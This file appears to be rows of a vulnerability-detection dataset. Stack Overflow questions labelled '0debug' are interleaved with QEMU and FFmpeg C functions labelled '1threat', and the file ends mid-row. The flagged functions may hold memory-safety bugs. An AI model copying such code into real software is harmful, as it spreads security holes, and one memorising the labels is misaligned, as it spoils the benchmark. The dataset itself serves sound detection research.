problem
stringlengths
26
131k
labels
class label
2 classes
JS Regular Expression - add whitespaces around / with no surrounding whitespaces : <p>I need to implement a method in Javascript adding whitespaces around / with no surrounding whitespaces.</p> <p>Example: <code>hello/this /is a/ complicated/task</code> should result in <code>hello / this /is a/ complicated / task</code></p> <p>M approach so far:</p> <pre><code>inputString.replace(new RegExp(/([^\s])\/([^\s])/), '$1 / $2'); </code></pre> <p>But this replaces only the first occurance. How does one make it replace all?</p>
0debug
static int slb_lookup (CPUPPCState *env, target_ulong eaddr, target_ulong *vsid, target_ulong *page_mask, int *attr) { target_phys_addr_t sr_base; target_ulong mask; uint64_t tmp64; uint32_t tmp; int n, ret; int slb_nr; ret = -5; sr_base = env->spr[SPR_ASR]; #if defined(DEBUG_SLB) if (loglevel != 0) { fprintf(logfile, "%s: eaddr " ADDRX " base " PADDRX "\n", __func__, eaddr, sr_base); } #endif mask = 0x0000000000000000ULL; slb_nr = env->slb_nr; for (n = 0; n < slb_nr; n++) { tmp64 = ldq_phys(sr_base); tmp = ldl_phys(sr_base + 8); #if defined(DEBUG_SLB) if (loglevel != 0) { fprintf(logfile, "%s: seg %d " PADDRX " %016" PRIx64 " %08" PRIx32 "\n", __func__, n, sr_base, tmp64, tmp); } #endif if (tmp64 & 0x0000000008000000ULL) { switch (tmp64 & 0x0000000006000000ULL) { case 0x0000000000000000ULL: mask = 0xFFFFFFFFF0000000ULL; break; case 0x0000000002000000ULL: mask = 0xFFFF000000000000ULL; break; case 0x0000000004000000ULL: case 0x0000000006000000ULL: continue; } if ((eaddr & mask) == (tmp64 & mask)) { *vsid = ((tmp64 << 24) | (tmp >> 8)) & 0x0003FFFFFFFFFFFFULL; *page_mask = ~mask; *attr = tmp & 0xFF; ret = 0; break; } } sr_base += 12; } return ret; }
1threat
Functional React Component with an argument in curly braces : <p>I recently came across this piece of code on a website</p> <pre><code>const List = ({ items }) =&gt; ( &lt;ul className="list"&gt; {items.map(item =&gt; &lt;ListItem item={item} /&gt;)} &lt;/ul&gt; ); </code></pre> <p>Why have they wrapped the items in curly braces and is it a prop</p>
0debug
static void gen_mtdcr(DisasContext *ctx) { #if defined(CONFIG_USER_ONLY) gen_inval_exception(ctx, POWERPC_EXCP_PRIV_REG); #else TCGv dcrn; if (unlikely(ctx->pr)) { gen_inval_exception(ctx, POWERPC_EXCP_PRIV_REG); return; } gen_update_nip(ctx, ctx->nip - 4); dcrn = tcg_const_tl(SPR(ctx->opcode)); gen_helper_store_dcr(cpu_env, dcrn, cpu_gpr[rS(ctx->opcode)]); tcg_temp_free(dcrn); #endif }
1threat
material 2 Autocomplete: select option : <p>I want to call a function when an option is selected. After some search it seem that i have to use :</p> <p>property <strong>optionSelections</strong> of <strong>MdAutocompleteTrigger</strong></p> <p>In the documentation : <a href="https://material.angular.io/components/component/autocomplete" rel="noreferrer">https://material.angular.io/components/component/autocomplete</a> <em>optionSelections Stream of autocomplete option selections.</em></p> <p>I dont understand that , what is a stream, how to implement this ?</p>
0debug
simple multiplication and division calculator on python 3 : i'm new to all this so i think the instructions are confusing me. so here is the exercise: single parameter is operator with arguments of * or / operator default operator is "*" (multiply) return the result of multiplication or division if operator other than "*" or "/" then return "Invalid Operator" there's plenty that's confusing me about the instructions here, and i'm aware that i haven't solved it but here's the closest i have come to solving this: def multiply(operator): op = (x) return op ops = input ("what would you like the operator to be? ") x = input() y = input() if ops == "*": return int (x) * int (y) elif ops == "/": return int (x) / int (y) else: return "invalid operator" print (multiply()) i can't keep "return" outside of the function so, do i keep all the conditionals inside the function ? omg im so confused. can someone please help me with this.
0debug
static void mtree_print_mr(fprintf_function mon_printf, void *f, const MemoryRegion *mr, unsigned int level, hwaddr base, MemoryRegionListHead *alias_print_queue) { MemoryRegionList *new_ml, *ml, *next_ml; MemoryRegionListHead submr_print_queue; const MemoryRegion *submr; unsigned int i; if (!mr) { return; } for (i = 0; i < level; i++) { mon_printf(f, MTREE_INDENT); } if (mr->alias) { MemoryRegionList *ml; bool found = false; QTAILQ_FOREACH(ml, alias_print_queue, queue) { if (ml->mr == mr->alias) { found = true; } } if (!found) { ml = g_new(MemoryRegionList, 1); ml->mr = mr->alias; QTAILQ_INSERT_TAIL(alias_print_queue, ml, queue); } mon_printf(f, TARGET_FMT_plx "-" TARGET_FMT_plx " (prio %d, %s): alias %s @%s " TARGET_FMT_plx "-" TARGET_FMT_plx "%s\n", base + mr->addr, base + mr->addr + MR_SIZE(mr->size), mr->priority, memory_region_type((MemoryRegion *)mr), memory_region_name(mr), memory_region_name(mr->alias), mr->alias_offset, mr->alias_offset + MR_SIZE(mr->size), mr->enabled ? "" : " [disabled]"); } else { mon_printf(f, TARGET_FMT_plx "-" TARGET_FMT_plx " (prio %d, %s): %s%s\n", base + mr->addr, base + mr->addr + MR_SIZE(mr->size), mr->priority, memory_region_type((MemoryRegion *)mr), memory_region_name(mr), mr->enabled ? "" : " [disabled]"); } QTAILQ_INIT(&submr_print_queue); QTAILQ_FOREACH(submr, &mr->subregions, subregions_link) { new_ml = g_new(MemoryRegionList, 1); new_ml->mr = submr; QTAILQ_FOREACH(ml, &submr_print_queue, queue) { if (new_ml->mr->addr < ml->mr->addr || (new_ml->mr->addr == ml->mr->addr && new_ml->mr->priority > ml->mr->priority)) { QTAILQ_INSERT_BEFORE(ml, new_ml, queue); new_ml = NULL; break; } } if (new_ml) { QTAILQ_INSERT_TAIL(&submr_print_queue, new_ml, queue); } } QTAILQ_FOREACH(ml, &submr_print_queue, queue) { mtree_print_mr(mon_printf, f, ml->mr, level + 1, base + mr->addr, alias_print_queue); } QTAILQ_FOREACH_SAFE(ml, &submr_print_queue, queue, next_ml) { g_free(ml); } }
1threat
static int mov_read_moov(MOVContext *c, ByteIOContext *pb, MOV_atom_t atom) { int err; err = mov_read_default(c, pb, atom); c->found_moov=1; if(c->found_mdat) return 1; return 0; }
1threat
GAME- SOS Board Game , SOS Sequence and Score Update not working (Android Studio) : [Start Game][1] [1st SOS Sequence and Score Update][2] [Automatically puts S and automatically score update when click any button][3] [1]: https://i.stack.imgur.com/5m8Ls.png [2]: https://i.stack.imgur.com/LGooN.jpg [3]: https://i.stack.imgur.com/GICC7.jpg
0debug
cheating online test javascript timer : First of all, I have no intention of cheating, I'm just one of these people who tend to see flaws everywhere. These days before the job interview you may be required to do online test, most of them have javascript timers (countdown), so you don't have enough time to google the answers. But the way I see it (correct me if I'm wrong), timer is just a decreasing variable that once reaches 0 (say) stops the test. I seems that in many cases it is possible to look the source code, find the name of the variable and force-increase it using the console, so you have all time in the world. I'm interested is it always possible to manipulate such "timer" variable using console, or there are ways to prevent it?
0debug
static void float_to_int16_sse(int16_t *dst, const float *src, long len){ int i; for(i=0; i<len; i+=4) { asm volatile( "cvtps2pi %1, %%mm0 \n\t" "cvtps2pi %2, %%mm1 \n\t" "packssdw %%mm1, %%mm0 \n\t" "movq %%mm0, %0 \n\t" :"=m"(dst[i]) :"m"(src[i]), "m"(src[i+2]) ); } asm volatile("emms"); }
1threat
void net_cleanup(void) { #if !defined(_WIN32) VLANState *vlan; for(vlan = first_vlan; vlan != NULL; vlan = vlan->next) { VLANClientState *vc; for(vc = vlan->first_client; vc != NULL; vc = vc->next) { if (vc->fd_read == tap_receive) { TAPState *s = vc->opaque; if (s->down_script[0]) launch_script(s->down_script, s->down_script_arg, s->fd); } #if defined(CONFIG_VDE) if (vc->fd_read == vde_from_qemu) { VDEState *s = vc->opaque; vde_close(s->vde); } #endif } } #endif }
1threat
static int mov_read_stsz(MOVContext *c, AVIOContext *pb, MOVAtom atom) { AVStream *st; MOVStreamContext *sc; unsigned int i, entries, sample_size, field_size, num_bytes; GetBitContext gb; unsigned char* buf; if (c->fc->nb_streams < 1) return 0; st = c->fc->streams[c->fc->nb_streams-1]; sc = st->priv_data; avio_r8(pb); avio_rb24(pb); if (atom.type == MKTAG('s','t','s','z')) { sample_size = avio_rb32(pb); if (!sc->sample_size) sc->sample_size = sample_size; field_size = 32; } else { sample_size = 0; avio_rb24(pb); field_size = avio_r8(pb); } entries = avio_rb32(pb); av_log(c->fc, AV_LOG_TRACE, "sample_size = %d sample_count = %d\n", sc->sample_size, entries); sc->sample_count = entries; if (sample_size) return 0; if (field_size != 4 && field_size != 8 && field_size != 16 && field_size != 32) { av_log(c->fc, AV_LOG_ERROR, "Invalid sample field size %d\n", field_size); return AVERROR_INVALIDDATA; } if (!entries) return 0; if (entries >= UINT_MAX / sizeof(int) || entries >= (UINT_MAX - 4) / field_size) return AVERROR_INVALIDDATA; sc->sample_sizes = av_malloc(entries * sizeof(int)); if (!sc->sample_sizes) return AVERROR(ENOMEM); num_bytes = (entries*field_size+4)>>3; buf = av_malloc(num_bytes+FF_INPUT_BUFFER_PADDING_SIZE); if (!buf) { av_freep(&sc->sample_sizes); return AVERROR(ENOMEM); } if (avio_read(pb, buf, num_bytes) < num_bytes) { av_freep(&sc->sample_sizes); av_free(buf); return AVERROR_INVALIDDATA; } init_get_bits(&gb, buf, 8*num_bytes); for (i = 0; i < entries && !pb->eof_reached; i++) { sc->sample_sizes[i] = get_bits_long(&gb, field_size); sc->data_size += sc->sample_sizes[i]; } sc->sample_count = i; av_free(buf); if (pb->eof_reached) return AVERROR_EOF; return 0; }
1threat
Jekyll default installation doesn't have _layouts directory : <p>So I followed the guide on the Jekyll website by installing and running Jekyll (sure I don't have to post this here). And the site is up and running perfectly but for some reason I don't see the <code>_layouts</code> directory that's supposed to be there. In the pages I can see that it references some layouts i.e:</p> <p><strong>index.html</strong></p> <pre><code>--- layout: default --- &lt;div class="home"&gt; </code></pre> <p><strong>about.md</strong></p> <pre><code>--- layout: page title: About permalink: /about/ --- This is the base Jekyll theme. </code></pre> <p>But when you look at the directory stucture of the project:</p> <p><a href="https://i.stack.imgur.com/pHu7y.png" rel="noreferrer"><img src="https://i.stack.imgur.com/pHu7y.png" alt="enter image description here"></a></p> <p>No layouts folder.. what's up with that? Everything works though. And it looks perfectly fine when run on localhost.</p>
0debug
void do_fctiw (void) { union { double d; uint64_t i; } p; p.i = float64_to_int32(FT0, &env->fp_status); p.i |= 0xFFF80000ULL << 32; FT0 = p.d; }
1threat
ram_addr_t migration_bitmap_find_and_reset_dirty(RAMBlock *rb, ram_addr_t start) { unsigned long base = rb->offset >> TARGET_PAGE_BITS; unsigned long nr = base + (start >> TARGET_PAGE_BITS); uint64_t rb_size = rb->used_length; unsigned long size = base + (rb_size >> TARGET_PAGE_BITS); unsigned long *bitmap; unsigned long next; bitmap = atomic_rcu_read(&migration_bitmap); if (ram_bulk_stage && nr > base) { next = nr + 1; } else { next = find_next_bit(bitmap, size, nr); } if (next < size) { clear_bit(next, bitmap); migration_dirty_pages--; } return (next - base) << TARGET_PAGE_BITS; }
1threat
C++ Compiled Headers receiving tons of errors : <p>I am receiving errors like cout is undeclared identifier</p> <p>I have gone through MULTIPLE times and there is nothing I can see that I have done wrong! I am knew so please be patient.</p> <p>I have checked everything multiple times and this just does not make since to me.</p> <p>Main.cpp</p> <pre><code>#include &lt;iostream&gt; #include &lt;limits&gt; #include "add.h" int main() { std::cout &lt;&lt; "this will call function which will have you type in numbers which when done will call the second function as well as giving the second function answers to what it needs. " &lt;&lt; '\n'; int numOne{ function() }; int numTwo{ function() }; std::cout &lt;&lt; "With those two numbers we can add them! and our answer is!" &lt;&lt; functionTwo(numOne, numTwo) &lt;&lt; '\n'; std::cout &lt;&lt; "we now sent functionTwo the numbers we made using function for simplness. Now functionTwo can have the numbers it needs to do what it needs to do." &lt;&lt; '\n'; // This code will make it not close automatically. std::cin.clear(); std::cin.ignore(std::numeric_limits&lt;std::streamsize&gt;::max(), '\n'); std::cin.get(); return 0; } </code></pre> <p>add.cpp</p> <pre><code>#include &lt;iostream&gt; #include "add.h" int functionTwo(int a, int b) { std::cout &lt;&lt; " fdsaf dasf dsa" &lt;&lt; '\n'; std::cout &lt;&lt; 2 * a &lt;&lt; '\n'; std::cout &lt;&lt; 2 + b &lt;&lt; '\n'; int c{ 2 + b }; int d{ 2 * a }; return c + d; } </code></pre> <p>add2.cpp</p> <pre><code> #include &lt;iostream&gt; #include "add.h" int function() { int a{ 0 }; std::cin &gt;&gt; a; return a; } </code></pre> <p>add.h</p> <pre><code>#ifndef _IOSTREAM_ #define _IOSTREAM_ int function(); int functionTwo(int a, int b); #endif </code></pre> <p>I am using Microsoft Visual studio and I am trying to compile this. I made sure to make new items / the .cpp files and the .h file. I have tried deleteing the pch.h and the pch.cpp files but I just don't understand what I am doing wrong. Please help me. I am knew so I am sorry for that.</p>
0debug
How to fix " Expected expression before "=" token"? : turns out to have error "expected expression before '=' token" #include <iostream> #define e = 2.71828 using namespace std; int main() { int n,b,c; cout << "put n: "; cin >> n; b = e-(1/(e*e)); for (int a=0; a<=n; a++) {if (a==0) {b=c; c=1-a*c;}} cout << "积分值为:" << c << endl; return 0; }
0debug
int bdrv_open(BlockDriverState *bs, const char *filename, int flags, BlockDriver *drv) { int ret; int probed = 0; if (flags & BDRV_O_SNAPSHOT) { BlockDriverState *bs1; int64_t total_size; int is_protocol = 0; BlockDriver *bdrv_qcow2; QEMUOptionParameter *options; char tmp_filename[PATH_MAX]; char backing_filename[PATH_MAX]; bs1 = bdrv_new(""); ret = bdrv_open(bs1, filename, 0, drv); if (ret < 0) { bdrv_delete(bs1); return ret; } total_size = bdrv_getlength(bs1) & BDRV_SECTOR_MASK; if (bs1->drv && bs1->drv->protocol_name) is_protocol = 1; bdrv_delete(bs1); get_tmp_filename(tmp_filename, sizeof(tmp_filename)); if (is_protocol) snprintf(backing_filename, sizeof(backing_filename), "%s", filename); else if (!realpath(filename, backing_filename)) return -errno; bdrv_qcow2 = bdrv_find_format("qcow2"); options = parse_option_parameters("", bdrv_qcow2->create_options, NULL); set_option_parameter_int(options, BLOCK_OPT_SIZE, total_size); set_option_parameter(options, BLOCK_OPT_BACKING_FILE, backing_filename); if (drv) { set_option_parameter(options, BLOCK_OPT_BACKING_FMT, drv->format_name); } ret = bdrv_create(bdrv_qcow2, tmp_filename, options); free_option_parameters(options); if (ret < 0) { return ret; } filename = tmp_filename; drv = bdrv_qcow2; bs->is_temporary = 1; } if (!drv) { drv = find_image_format(filename); probed = 1; } if (!drv) { ret = -ENOENT; goto unlink_and_fail; } ret = bdrv_open_common(bs, filename, flags, drv); if (ret < 0) { goto unlink_and_fail; } if ((flags & BDRV_O_NO_BACKING) == 0 && bs->backing_file[0] != '\0') { char backing_filename[PATH_MAX]; int back_flags; BlockDriver *back_drv = NULL; bs->backing_hd = bdrv_new(""); path_combine(backing_filename, sizeof(backing_filename), filename, bs->backing_file); if (bs->backing_format[0] != '\0') back_drv = bdrv_find_format(bs->backing_format); back_flags = flags & ~(BDRV_O_RDWR | BDRV_O_SNAPSHOT | BDRV_O_NO_BACKING); ret = bdrv_open(bs->backing_hd, backing_filename, back_flags, back_drv); if (ret < 0) { bdrv_close(bs); return ret; } if (bs->is_temporary) { bs->backing_hd->keep_read_only = !(flags & BDRV_O_RDWR); } else { bs->backing_hd->keep_read_only = bs->keep_read_only; } } if (!bdrv_key_required(bs)) { bs->media_changed = 1; if (bs->change_cb) bs->change_cb(bs->change_opaque); } return 0; unlink_and_fail: if (bs->is_temporary) { unlink(filename); } return ret; }
1threat
Please help me with the python code: : data_type = raw_input("Enter data type") c = 5 + data_type("4") print (c) I entered the data_type as int and it throw error. Basically i want datatypes like int,str and others to be user input and then use them later
0debug
Python: Any ideas on how to check is an element in a string is a digit or not, without using .sidigit()? : I am supposed to write a code for a program that will ask a user to input an integer and if the input is not an integer it will print 'try again' and if it is an integer it just quits the program. The only issue is that we are not allowed to use the .isdigit() method. So in short I need to come up with a method to check if each element in a strong is a digit or not without using .isdigit(). Thanks for the help.
0debug
static int dxtory_decode_v1_420(AVCodecContext *avctx, AVFrame *pic, const uint8_t *src, int src_size) { int h, w; uint8_t *Y1, *Y2, *U, *V; int ret; if (src_size < avctx->width * avctx->height * 3LL / 2) { av_log(avctx, AV_LOG_ERROR, "packet too small\n"); return AVERROR_INVALIDDATA; } avctx->pix_fmt = AV_PIX_FMT_YUV420P; if ((ret = ff_get_buffer(avctx, pic, 0)) < 0) return ret; Y1 = pic->data[0]; Y2 = pic->data[0] + pic->linesize[0]; U = pic->data[1]; V = pic->data[2]; for (h = 0; h < avctx->height; h += 2) { for (w = 0; w < avctx->width; w += 2) { AV_COPY16(Y1 + w, src); AV_COPY16(Y2 + w, src + 2); U[w >> 1] = src[4] + 0x80; V[w >> 1] = src[5] + 0x80; src += 6; } Y1 += pic->linesize[0] << 1; Y2 += pic->linesize[0] << 1; U += pic->linesize[1]; V += pic->linesize[2]; } return 0; }
1threat
Handling third-party API requests in End-to-End testing : <p>I want to test my Rest API with end-to-end tests. As I understand, the difference between integration tests is that we don't do in-memory system configuration, but use real test DB and network requests.</p> <p>But I can't understand how to handle third-party API requests(like GitHub or Bitbucket API). </p> <p>Is it a normal practice to create a fake Github account with fake data that would be fetched by my tests ? </p> <p>And what to do with access tokens, not all services are public and even public services can fail with rate limit.</p>
0debug
Creating new file through Windows Powershell : <p>I have googled for the below question, but could not find any answer. Can someone help me on this; What is the command to create a new file through Windows Powershell?</p>
0debug
How can i check if file exist and create if not and then append text to the file in some places? : <pre><code>using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using System.IO; using Newtonsoft.Json; namespace Youtube_Player { public partial class Authentication : Form { public static string AuthenticationApplicationDirectory; public static string AuthenticationFileName = "Authentication.txt"; StreamWriter w; public static bool formclosed = false; static Authentication() { AuthenticationApplicationDirectory = Path.GetDirectoryName(Application.LocalUserAppDataPath) + "Authentication"; if (!Directory.Exists(AuthenticationApplicationDirectory)) { Directory.CreateDirectory(AuthenticationApplicationDirectory); } AuthenticationFileName = Path.Combine(AuthenticationApplicationDirectory, AuthenticationFileName); if (!File.Exists(AuthenticationFileName)) File.Create(AuthenticationFileName); } public Authentication() { InitializeComponent(); cTextBox1.Text = Form1.AuthenticationValues.ApiKey; cTextBox2.Text = Form1.AuthenticationValues.UserId; cTextBox3.Text = Form1.AuthenticationValues.JsonFileDirectory; label1.Visible = false; button1.Enabled = false; button4.Enabled = false; cTextBox2.WaterMarkForeColor = Color.Blue; cTextBox3.WaterMarkForeColor = Color.Green; cTextBox2.WaterMarkActiveForeColor = Color.Blue; cTextBox3.WaterMarkActiveForeColor = Color.Green; cTextBox1.ForeColor = Color.Red; cTextBox2.ForeColor = Color.Blue; cTextBox3.ForeColor = Color.Green; cTextBox1.WaterMark = "Enter Api Key"; cTextBox2.WaterMark = "Enter Email Account"; cTextBox3.WaterMark = "Browse To The Json File Location"; } private void Authentication_Load(object sender, EventArgs e) { } private void cTextBox1_TextChanged(object sender, EventArgs e) { if (cTextBox1.Text != "Enter Api Key" &amp;&amp; cTextBox1.Text != "") { button1.Enabled = true; } else { button1.Enabled = false; } } private void cTextBox2_TextChanged(object sender, EventArgs e) { if (cTextBox2.Text != "Enter Email Account" &amp;&amp; cTextBox2.Text != "") { button4.Enabled = true; } else { button4.Enabled = false; } } private void cTextBox3_TextChanged(object sender, EventArgs e) { if (cTextBox3.Text != "Browse To The Json File Location" &amp;&amp; cTextBox3.Text != "") button6.Enabled = false; } private void button1_Click(object sender, EventArgs e) { button1.Text = "Confirmed"; button1.Enabled = false; label1.Text = "Updating Settings File"; label1.Visible = true; if (label1.Visible == true) { button6.Enabled = false; button4.Enabled = false; button1.Enabled = false; } FileInfo fi = new FileInfo(AuthenticationFileName); if (fi.Length == 0) { w = new StreamWriter(AuthenticationFileName, true); w.WriteLine("Api" + "=" + cTextBox1.Text); w.Close(); } else { w = new StreamWriter(AuthenticationFileName); w.WriteLine("Api" + "=" + cTextBox1.Text); w.Close(); } timer1.Start(); } private void button4_Click(object sender, EventArgs e) { button4.Enabled = false; label1.Text = "Updating Settings File"; label1.Visible = true; if (label1.Visible == true) { button6.Enabled = false; button4.Enabled = false; button1.Enabled = false; } w = new StreamWriter(AuthenticationFileName, true); w.WriteLine("UserId" + "=" + cTextBox2.Text); w.Close(); timer1.Start(); } private void button6_Click(object sender, EventArgs e) { OpenFileDialog openFileDialog1 = new OpenFileDialog(); openFileDialog1.InitialDirectory = "c:\\"; openFileDialog1.Filter = "Json Files (*.json)|*.json"; openFileDialog1.FilterIndex = 0; openFileDialog1.RestoreDirectory = true; openFileDialog1.Multiselect = true; if (openFileDialog1.ShowDialog() == DialogResult.OK) { cTextBox3.BackColor = Color.White; cTextBox3.ForeColor = Color.Green; cTextBox3.Text = openFileDialog1.FileName; label1.Text = "Updating Settings File"; label1.Visible = true; if (label1.Visible == true) { button6.Enabled = false; button4.Enabled = false; button1.Enabled = false; } w = new StreamWriter(AuthenticationFileName, true); w.WriteLine("JsonFileDirectory" + "=" + cTextBox3.Text); w.Close(); timer1.Start(); } } private void button2_Click(object sender, EventArgs e) { ResetValues(true); } int count = 0; private void timer1_Tick(object sender, EventArgs e) { count += 1; if (count == 2) { label1.Visible = false; timer1.Stop(); count = 0; } } private void Authentication_FormClosing(object sender, FormClosingEventArgs e) { ResetValues(false); } private void ResetValues(bool DeleteFile) { cTextBox1.Text = ""; cTextBox2.Text = ""; cTextBox3.Text = ""; button1.Text = "Confirm"; button4.Text = "Confirm"; button6.Enabled = true; timer1.Stop(); count = 0; if (DeleteFile == true) { if (File.Exists(AuthenticationFileName)) File.Delete(AuthenticationFileName); } Form1.AuthenticationValues.ApiKey = ""; Form1.AuthenticationValues.JsonFileDirectory = ""; Form1.AuthenticationValues.UserId = ""; if (Form1.AuthenticationValues.AuthenticationMenu.Enabled == false &amp;&amp; (Form1.lines.Length &lt; 3 &amp;&amp; Form1.lines.Length &gt; 0)) Form1.AuthenticationValues.AuthenticationMenu.Enabled = true; formclosed = true; } } } </code></pre> <p>The first problem is in the constructor when checking for the file existing:</p> <pre><code>if (!File.Exists(AuthenticationFileName)) File.Create(AuthenticationFileName); </code></pre> <p>This make the file to be busy in use. When later in my code i'm trying to use the file again to write to it i'm getting exception that the file is in use by another process.</p> <p>The second problem is in the 3 places i'm trying to write to the file. The first place:</p> <pre><code>w = new StreamWriter(AuthenticationFileName, true); w.WriteLine("Api" + "=" + cTextBox1.Text); w.Close(); </code></pre> <p>Then under it in another place in the code i'm writing again to the file:</p> <pre><code>w = new StreamWriter(AuthenticationFileName, true); w.WriteLine("UserId" + "=" + cTextBox2.Text); w.Close(); </code></pre> <p>And last:</p> <pre><code>w = new StreamWriter(AuthenticationFileName, true); w.WriteLine("JsonFileDirectory" + "=" + cTextBox3.Text); w.Close(); </code></pre> <p>The problems are first the file is busy in use since the checking if exist i'm doing in the constructor.</p> <p>The second problem is that i want to make that if in the file there is no line that start with "Api" then write the Api part:</p> <pre><code>w.WriteLine("Api" + "=" + cTextBox1.Text); </code></pre> <p>But if it does exist and the text is changed in the textBox cTextBox1.Text i want to write to the file the changed text to the place where the Api line is. And to append a new Api line.</p> <p>Same for all two other places i'm writing to the file. If i will make it all false not to appen when writing it will write one line each time and will overwrite the line. But if i'm doing true it will append many Api lines or many UserId lines. And i want each to time to replace the line with the textBox to overwrite only on this line but with the new text.</p> <p>If in cTextBox1 there is the text: Hello World Then i changed it to: Hello World Now Then replace the Api line Hello World with Hello World Now</p>
0debug
R - Fastest way to find nearest value in vector : <p>I have two integer/posixct vectors:</p> <pre><code>a &lt;- c(1,2,3,4,5,6,7,8,9,10,11,12,13,14,15) #has &gt; 2 mil elements b &lt;- c(4,6,10,16) # 200000 elements </code></pre> <p>Now my resulting vector c should contain for each element of vector a the nearest element of b:</p> <pre><code>c &lt;- c(4,4,4,4,4,6,6,...) </code></pre> <p>I tried it with apply and which.min(abs(a-b)) but it's very very slow.</p> <p>Is there any more clever way to solve this? Is there a data.table solution?</p>
0debug
static void vhost_region_del(MemoryListener *listener, MemoryRegionSection *section) { struct vhost_dev *dev = container_of(listener, struct vhost_dev, memory_listener); int i; vhost_set_memory(listener, section, false); for (i = 0; i < dev->n_mem_sections; ++i) { if (dev->mem_sections[i].offset_within_address_space == section->offset_within_address_space) { --dev->n_mem_sections; memmove(&dev->mem_sections[i], &dev->mem_sections[i+1], dev->n_mem_sections - i); break; } } }
1threat
How to simplify the multiple foreach using linq : <p>Here I have provided my sample c# code. </p> <pre><code>foreach (var table in dataSet.Tables) { foreach (var field in table.Fields) { if (displayText.Contains(field.Name)) { displayText = displayText.Replace(field.Name, field.Id); } } } </code></pre> <p>Can anyone suggest me how to simply this code using linq?</p>
0debug
Cant get past - Thread 1: Fatal error: Unexpectedly found nil while unwrapping an Optional Value : <p>I know this topic has been discussed before. Im beginner so I tried my best but couldn't get past the error. I am following youtube tutorial on making an app to use iOS camera. I believe they used swift 3 and older iOS so Im guessing that's the issue here. I took their source code and still got same error.<a href="https://i.stack.imgur.com/bEhRk.png" rel="nofollow noreferrer">enter image description here</a></p> <p><a href="https://i.stack.imgur.com/gmbKp.png" rel="nofollow noreferrer">enter image description here</a></p>
0debug
UIProgressView with multi colors : <p>I'm trying to play out how to do this. So please help</p> <p><a href="https://i.stack.imgur.com/TGULq.png" rel="nofollow noreferrer">I want to create this type of Progressbar</a></p>
0debug
mail with attachment with stanard mail function : <p>I need to send an email with an attachment with the standard php mail function. I can't use classes like phpmailer. PHP verison 5.3.</p> <p>This is working so far.</p> <pre><code>mail($to,$subject,$content,$headers); </code></pre> <p>Can you help me out?</p>
0debug
void block_job_complete(BlockJob *job, Error **errp) { if (job->paused || job->cancelled || !job->driver->complete) { error_set(errp, QERR_BLOCK_JOB_NOT_READY, bdrv_get_device_name(job->bs)); return; } job->driver->complete(job, errp); }
1threat
static void down_heap(uint32_t nr_heap, uint32_t *heap, uint32_t *weights) { uint32_t val = 1; uint32_t val2; uint32_t initial_val = heap[val]; while (1) { val2 = val << 1; if (val2 > nr_heap) break; if (val2 < nr_heap && weights[heap[val2 + 1]] < weights[heap[val2]]) val2++; if (weights[initial_val] < weights[heap[val2]]) break; heap[val] = heap[val2]; val = val2; } heap[val] = initial_val; }
1threat
How to split a US mobile number before storing it into database? : <p>I am trying to store a US mobile number in a database. Yet, before I would store it, I need to split the number into 3 parts. The Zip Code, Area Code and then the number. Eg: +1 (213)-435-4676. I need to split this number, Zip code (213), Area Code (435) and then number (4676). </p> <p>Is there any simpler way to do this in the controller point, after passing the argument? Or can I do it in the View using jQuery or javascript? What is the best possible way? Thanks in advance.</p>
0debug
Swift how to make some text or words invisible or visible in the cell? : I would like to make some words in the cell invisible or visible. This is my code below. func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell { cell = tableView.dequeueReusableCell(withIdentifier: "cell") as? TableViewCell var dic = ar[indexPath.row] cell!.cell0.text = dic["date0"] ... cell!.cell0.text has "Helloworld" I need "Helloworld" for later so I can't get only "world" from dic["date0"]. I would like to make only "world" visible in the table view. Is there anyone who can help me out? Thanks!
0debug
i have a regex "^([a-z0-9](?!.*?[^\na-z0-9]{2}).*?[a-z0-9]" which accept $&% i want to restrict that sprcial character : full validation on email regex. regular expretion which accept - and _ but not consicative
0debug
static av_cold int xbm_encode_init(AVCodecContext *avctx) { avctx->coded_frame = av_frame_alloc(); if (!avctx->coded_frame) return AVERROR(ENOMEM); avctx->coded_frame->pict_type = AV_PICTURE_TYPE_I; return 0; }
1threat
AlertDialog without context in Flutter : <p>I want to show an AlertDialog when a http get fails. The function showDialog (<a href="https://api.flutter.dev/flutter/material/showDialog.html" rel="noreferrer">https://api.flutter.dev/flutter/material/showDialog.html</a>) has the parameter "@required BuildContext context", but I want to call the AlertDialog from my async function getNews(), which hasn't a context value. </p> <p>By analogy with Java, where I use null for dialog without an owner, I tried to put context value to null, but it is not accepted.</p> <p>This is my code:</p> <pre><code> Future&lt;dynamic&gt; getNews() async { dynamic retVal; try { var response = await http.get(url)); if (response.statusCode == HttpStatus.ok) { retVal = jsonDecode(response.body); } } catch (e) { alertDlg(?????????, 'Error', e.toString()); } return retVal; } static Future&lt;void&gt; alertDlg(context, String titolo, String messaggio) async { return showDialog&lt;void&gt;( context: context, barrierDismissible: false, // user must tap button! builder: (BuildContext context) { return AlertDialog( title: Text(titolo), ... ); } </code></pre>
0debug
Outlook refuses password from CryptProtectData() : <p>I'm developing a tool to import Outlook profiles using a PRF file but it does not import the password, so I have to manually add it to the registry.</p> <p>I've spent lots of hours reading, testing and debugging this procedure and managed to figure out how everything works, except that Outlook refuses the password generated by CryptProtectData(). I've tried using both the C# .NET wrapper ProtectedData.Protect() and a C++ DLL calling CryptProtectData(), all to no avail.</p> <p>Whenever I change the password on the registry and open Outlook, it shows the credential dialog. If I type the password then it successfully logs into my email.</p> <p>Here is the C# code using the .NET wrapper:</p> <pre><code>RegistryKey RegKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\MyProfile\\9375CFF0413111d3B88A00104B2A6676\\0000000b", true); Byte[] Password = Encoding.UTF8.GetBytes("MyPassword"); Byte[] EncPassword = ProtectedData.Protect(Password, null, DataProtectionScope.CurrentUser); RegKey.SetValue("IMAP Password", EncPassword); </code></pre> <p>This code generates a binary data with 234 bytes, 39 bytes less than the password generated by Outlook (273 bytes).</p> <p>Here is the C++ code:</p> <pre><code>extern "C" DLLEXPORT DATA_BLOB crypt(BYTE *input) { DATA_BLOB DataIn; DATA_BLOB DataOut; BYTE *pbDataInput = input; DWORD cbDataInput = strlen((char *)pbDataInput)+1; DataIn.pbData = pbDataInput; DataIn.cbData = cbDataInput; if( !CryptProtectData(&amp;DataIn, L"IMAP Password", NULL, NULL, NULL, 0, &amp;DataOut) ) { printf("Encryption error"); } return DataOut; } 